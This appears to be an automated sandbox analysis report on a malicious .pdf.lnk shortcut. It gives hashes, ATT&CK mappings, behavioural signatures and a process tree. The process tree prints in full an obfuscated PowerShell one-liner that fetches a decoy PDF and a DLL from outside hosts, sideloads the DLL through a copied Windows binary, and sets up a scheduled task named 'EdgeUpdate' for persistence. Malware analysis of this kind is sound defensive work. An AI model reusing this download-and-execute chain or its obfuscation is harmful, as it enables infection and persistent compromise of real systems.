d7b278d20f47203da07c33f646844e74cb690ed802f2ba27a74e216368df7db9

General

Target

186523.pdf.lnk
Size

3KB
MD5

7007778e4e8c98c94d20b0243b7743f1
SHA1

c771ee88e3951e337a26ebfdcfc1218d414dbdad
SHA256

d7b278d20f47203da07c33f646844e74cb690ed802f2ba27a74e216368df7db9
SHA512

25f21b662a55b64818b70d593b680bd3e1e05dbf0ee018cbd3912327006e0d5334df5552e9e469afe01797c3e00fc4c65aefbe45bce943d1944642babee87fcf

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	3688	powershell.exe
12	3688	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	cmd.exe

Deletes itself 1 IoCs

pid	Process
3688	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
872	WerFaultSecure.EXE
1904	WerFaultSecure.EXE
3536	WerFaultSecure.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1348	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3688	powershell.exe
3688	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3428	conhost.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3280 wrote to memory of 3428	3280	cmd.exe	83
PID 3280 wrote to memory of 3428	3280	cmd.exe	83
PID 3428 wrote to memory of 3688	3428	conhost.exe	84
PID 3428 wrote to memory of 3688	3428	conhost.exe	84
PID 3688 wrote to memory of 1348	3688	powershell.exe	85
PID 3688 wrote to memory of 1348	3688	powershell.exe	85

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\186523.pdf.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3280
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" powershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile "C:\ProgramData\hal";r''e''n -Path "C:\ProgramData\hal" -NewName "C:\ProgramData\wer.dll";c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3428
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile C:\ProgramData\hal;r''e''n -Path C:\ProgramData\hal -NewName C:\ProgramData\wer.dll;c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?
    3⤵
    - Blocklisted process makes network request
    - Deletes itself
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /Sc minute /Tn EdgeUpdate /tr C:\ProgramData\WerFaultSecure /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1348

C:\ProgramData\WerFaultSecure.EXE
C:\ProgramData\WerFaultSecure.EXE
1⤵
- Executes dropped EXE
PID:872

C:\ProgramData\WerFaultSecure.EXE
C:\ProgramData\WerFaultSecure.EXE
1⤵
- Executes dropped EXE
PID:1904

C:\ProgramData\WerFaultSecure.EXE
C:\ProgramData\WerFaultSecure.EXE
1⤵
- Executes dropped EXE
PID:3536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\ProgramData\WerFaultSecure.exe

Filesize
167KB

MD5
31ab2e1751e5e446961bf169962ee1c4

SHA1
dcd724261283c0f830260258b9ca21c772743169

SHA256
1c35464f9a39da371549d8b44ef7838f6b8e17ac1d0aafd8a5593eb7ca960cbb

SHA512
c58377203ee48d5d9195a6510c431f6053ff4aa5d46ef83a861e5c6aabd042ae150fd6cec18478e03fd1838fe0f70eac45395e1b5ff1bf23d67735d20611ee89

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_d0cbuda2.hkv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3688-0-0x00007FFA3B983000-0x00007FFA3B985000-memory.dmp

Filesize
8KB

Download
memory/3688-10-0x000002A9752E0000-0x000002A975302000-memory.dmp

Filesize
136KB

Download
memory/3688-11-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

Filesize
10.8MB

Download
memory/3688-12-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

Filesize
10.8MB

Download
memory/3688-16-0x00007FFA3B980000-0x00007FFA3C441000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads